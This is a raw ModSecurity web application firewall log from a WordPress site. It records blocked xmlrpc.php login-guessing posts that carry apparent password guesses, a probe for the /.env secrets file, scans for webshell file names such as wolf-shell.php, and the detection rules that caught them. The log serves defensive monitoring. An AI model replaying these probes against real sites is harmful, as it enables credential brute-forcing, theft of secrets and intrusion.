[Sun Mar 01 20:23:59.754265 2026] [:error] [pid 37032:tid 37051] [client 45.249.76.75:61923] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQv3-u0U4o7eSImsVR4IAAAAZE"]
[Sun Mar 01 20:24:59.041871 2026] [:error] [pid 7133:tid 7146] [client 45.249.76.75:62539] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQwG_Ctubh8pR64qB8yBgAAAEs"]
[Sun Mar 01 20:25:56.320502 2026] [:error] [pid 7165:tid 7168] [client 45.249.76.75:63128] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQwVBRjCrA8qWBjgG8WVwAAAkE"]
[Sun Mar 01 20:27:08.013287 2026] [:error] [pid 7165:tid 7175] [client 45.249.76.75:63963] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQwnBRjCrA8qWBjgG8XJwAAAkg"]
[Sun Mar 01 20:28:10.703136 2026] [:error] [pid 40750:tid 40761] [client 45.249.76.75:64683] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQw2gfBuk03yQKDyqsFaAAAAcg"]
[Sun Mar 01 20:28:10.705890 2026] [:error] [pid 40750:tid 40761] [client 45.249.76.75:64683] [client 45.249.76.75] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.orggigfragments333%wppass_d%title0x154ab9a6description0x154ab9a6mt_keywords0x154ab9a6mt_excerpt0x154ab9a61"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQw2gfBuk03yQKDyqsFaAAAAcg"]
[Sun Mar 01 20:29:08.252338 2026] [:error] [pid 7165:tid 7186] [client 45.249.76.75:65349] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQxFBRjCrA8qWBjgG8YdgAAAlM"]
[Sun Mar 01 20:30:05.512712 2026] [:error] [pid 7165:tid 7188] [client 45.249.76.75:49473] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQxTRRjCrA8qWBjgG8Y_AAAAlU"]
[Sun Mar 01 20:30:59.826000 2026] [:error] [pid 37032:tid 37051] [client 45.249.76.75:49834] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQxg-u0U4o7eSImsVR44QAAAZE"]
[Sun Mar 01 20:32:14.201507 2026] [:error] [pid 44644:tid 44666] [client 45.249.76.75:63671] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQxzp3RJaXMcw3y9V_ZMwAAABM"]
[Sun Mar 01 20:32:14.204677 2026] [:error] [pid 44644:tid 44666] [client 45.249.76.75:63671] [client 45.249.76.75] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.org%gigfragmentstitle0xff8307b9description0xff8307b9mt_keywords0xff8307b9mt_excerpt0xff8307b91"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQxzp3RJaXMcw3y9V_ZMwAAABM"]
[Sun Mar 01 20:33:24.349465 2026] [:error] [pid 7133:tid 7147] [client 45.249.76.75:64204] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQyFPCtubh8pR64qB81DAAAAEw"]
[Sun Mar 01 20:33:24.353764 2026] [:error] [pid 7133:tid 7147] [client 45.249.76.75:64204] [client 45.249.76.75] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.orggigfragments_123%wppass_d%title0xab49d16edescription0xab49d16emt_keywords0xab49d16emt_excerpt0xab49d16e1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQyFPCtubh8pR64qB81DAAAAEw"]
[Sun Mar 01 20:34:42.554732 2026] [:error] [pid 40750:tid 40765] [client 45.249.76.75:64970] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQyYgfBuk03yQKDyqsNSgAAAcw"]
[Sun Mar 01 20:34:42.565121 2026] [:error] [pid 40750:tid 40765] [client 45.249.76.75:64970] [client 45.249.76.75] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQyYgfBuk03yQKDyqsNSgAAAcw"]
[Sun Mar 01 20:34:42.567052 2026] [:error] [pid 40750:tid 40765] [client 45.249.76.75:64970] [client 45.249.76.75] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQyYgfBuk03yQKDyqsNSgAAAcw"]
[Sun Mar 01 20:35:48.511033 2026] [:error] [pid 7133:tid 7140] [client 45.249.76.75:49296] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQypPCtubh8pR64qB816gAAAEU"]
[Sun Mar 01 20:35:48.535063 2026] [:error] [pid 7133:tid 7140] [client 45.249.76.75:49296] [client 45.249.76.75] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.orggigfragments.org%%wppass_u%title0xb1cfa8b1description0xb1cfa8b1mt_keywords0xb1cfa8b1mt_excerpt0xb1cfa8b11"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQypPCtubh8pR64qB816gAAAEU"]
[Sun Mar 01 20:52:44.429259 2026] [:error] [pid 38241:tid 38263] [client 147.45.51.21:34684] [client 147.45.51.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aaQ2nPKRPk6YnJBxw_wHTQAAANM"]
[Sun Mar 01 21:03:25.095462 2026] [:error] [pid 7133:tid 7141] [client 43.130.12.43:57780] [client 43.130.12.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaQ5HfCtubh8pR64qB8_1QAAAEY"]
[Sun Mar 01 21:48:51.580655 2026] [:error] [pid 40750:tid 40760] [client 20.89.58.13:22631] [client 20.89.58.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaRDwwfBuk03yQKDyqtWaAAAAcc"]
[Sun Mar 01 21:48:52.062178 2026] [:error] [pid 38241:tid 38260] [client 20.89.58.13:18258] [client 20.89.58.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaRDxPKRPk6YnJBxw_wihAAAANA"]
[Sun Mar 01 21:48:52.547093 2026] [:error] [pid 41342:tid 41350] [client 20.89.58.13:16536] [client 20.89.58.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaRDxI4iJ6RAS5CatDlguQAAAgU"]
[Sun Mar 01 21:48:53.037983 2026] [:error] [pid 40750:tid 40761] [client 20.89.58.13:5699] [client 20.89.58.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aaRDxQfBuk03yQKDyqtWawAAAcg"]
[Sun Mar 01 21:53:33.749658 2026] [:error] [pid 40750:tid 40762] [client 20.63.80.2:21977] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "aaRE3QfBuk03yQKDyqtabQAAAck"]
[Sun Mar 01 21:53:34.570846 2026] [:error] [pid 7165:tid 7188] [client 20.63.80.2:21961] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "aaRE3hRjCrA8qWBjgG9aQQAAAlU"]
[Sun Mar 01 21:53:35.392368 2026] [:error] [pid 33822:tid 33835] [client 20.63.80.2:22014] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "aaRE326W3ygu1YVssuYnkgAAAos"]
[Sun Mar 01 21:53:36.212339 2026] [:error] [pid 7133:tid 7140] [client 20.63.80.2:21806] [client 20.63.80.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "aaRE4PCtubh8pR64qB9SOAAAAEU"]
[Sun Mar 01 22:22:51.489436 2026] [:error] [pid 7133:tid 7135] [client 20.63.44.70:52761] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaRLu_Ctubh8pR64qB9cPwAAAEA"]
[Sun Mar 01 22:22:52.328731 2026] [:error] [pid 40750:tid 40760] [client 20.63.44.70:64933] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaRLvAfBuk03yQKDyqtvGwAAAcc"]
[Sun Mar 01 22:22:53.177322 2026] [:error] [pid 7165:tid 7186] [client 20.63.44.70:61774] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaRLvRRjCrA8qWBjgG95OwAAAlM"]
[Sun Mar 01 22:22:54.001094 2026] [:error] [pid 7165:tid 7176] [client 20.63.44.70:28537] [client 20.63.44.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaRLvhRjCrA8qWBjgG95QwAAAkk"]
[Sun Mar 01 22:41:04.323994 2026] [:error] [pid 41780:tid 41804] [client 179.43.191.19:47252] [client 179.43.191.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.43.191.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRQAMONkVoocLIqzy0yfgAAA9U"], referer: https://gigfragments.org/
[Sun Mar 01 23:22:33.566061 2026] [:error] [pid 7133:tid 7157] [client 52.169.119.118:14988] [client 52.169.119.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/cah.php"] [unique_id "aaRZufCtubh8pR64qB9z2QAAAFY"]
[Sun Mar 01 23:22:49.614920 2026] [:error] [pid 7133:tid 7141] [client 52.169.119.118:4827] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as1337.php"] [unique_id "aaRZyfCtubh8pR64qB9z7gAAAEY"]
[Sun Mar 01 23:22:50.114546 2026] [:error] [pid 38241:tid 38263] [client 52.169.119.118:4814] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as1337.php"] [unique_id "aaRZyvKRPk6YnJBxw_xOGgAAANM"]
[Sun Mar 01 23:22:50.612864 2026] [:error] [pid 40750:tid 40759] [client 52.169.119.118:4139] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as1337.php"] [unique_id "aaRZygfBuk03yQKDyquZmAAAAcY"]
[Sun Mar 01 23:22:51.124939 2026] [:error] [pid 7165:tid 7191] [client 52.169.119.118:4142] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as1337.php"] [unique_id "aaRZyxRjCrA8qWBjgG-ycAAAAlg"]
[Sun Mar 01 23:22:51.647569 2026] [:error] [pid 38241:tid 38250] [client 52.169.119.118:16179] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaRZy_KRPk6YnJBxw_xOIwAAAMY"]
[Sun Mar 01 23:22:52.147572 2026] [:error] [pid 7165:tid 7185] [client 52.169.119.118:1662] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaRZzBRjCrA8qWBjgG-ycgAAAlI"]
[Sun Mar 01 23:22:52.660852 2026] [:error] [pid 40750:tid 40755] [client 52.169.119.118:4136] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaRZzAfBuk03yQKDyquZswAAAcI"]
[Sun Mar 01 23:22:53.158789 2026] [:error] [pid 7133:tid 7147] [client 52.169.119.118:12835] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaRZzfCtubh8pR64qB9z8AAAAEw"]
[Sun Mar 01 23:22:53.671098 2026] [:error] [pid 7165:tid 7179] [client 52.169.119.118:6424] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolf-shell.php"] [unique_id "aaRZzRRjCrA8qWBjgG-ydQAAAkw"]
[Sun Mar 01 23:22:54.180656 2026] [:error] [pid 33822:tid 33848] [client 52.169.119.118:14684] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolf-shell.php"] [unique_id "aaRZzm6W3ygu1YVssuZAVgAAApg"]
[Sun Mar 01 23:22:54.678690 2026] [:error] [pid 37032:tid 37047] [client 52.169.119.118:7977] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolf-shell.php"] [unique_id "aaRZzuu0U4o7eSImsVSTNgAAAY0"]
[Sun Mar 01 23:22:55.185083 2026] [:error] [pid 38241:tid 38252] [client 52.169.119.118:15525] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wolf-shell.php"] [unique_id "aaRZz_KRPk6YnJBxw_xOMwAAAMg"]
[Sun Mar 01 23:22:55.683798 2026] [:error] [pid 38241:tid 38265] [client 52.169.119.118:14681] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaRZz_KRPk6YnJBxw_xOOwAAANU"]
[Sun Mar 01 23:22:56.206205 2026] [:error] [pid 40750:tid 40753] [client 52.169.119.118:12827] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaRZ0AfBuk03yQKDyquZywAAAcA"]
[Sun Mar 01 23:22:56.704132 2026] [:error] [pid 40750:tid 40754] [client 52.169.119.118:15542] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaRZ0AfBuk03yQKDyquZzQAAAcE"]
[Sun Mar 01 23:22:57.202882 2026] [:error] [pid 7165:tid 7178] [client 52.169.119.118:14538] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaRZ0RRjCrA8qWBjgG-yegAAAks"]
[Sun Mar 01 23:22:57.701662 2026] [:error] [pid 7165:tid 7185] [client 52.169.119.118:11237] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeal.php"] [unique_id "aaRZ0RRjCrA8qWBjgG-ygAAAAlI"]
[Sun Mar 01 23:22:58.200440 2026] [:error] [pid 40750:tid 40762] [client 52.169.119.118:4134] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeal.php"] [unique_id "aaRZ0gfBuk03yQKDyquZzwAAAck"]
[Sun Mar 01 23:22:58.698869 2026] [:error] [pid 40750:tid 40763] [client 52.169.119.118:1645] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeal.php"] [unique_id "aaRZ0gfBuk03yQKDyquZ0QAAAco"]
[Sun Mar 01 23:22:59.197131 2026] [:error] [pid 40750:tid 40761] [client 52.169.119.118:4108] [client 52.169.119.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeal.php"] [unique_id "aaRZ0wfBuk03yQKDyquZ1QAAAcg"]
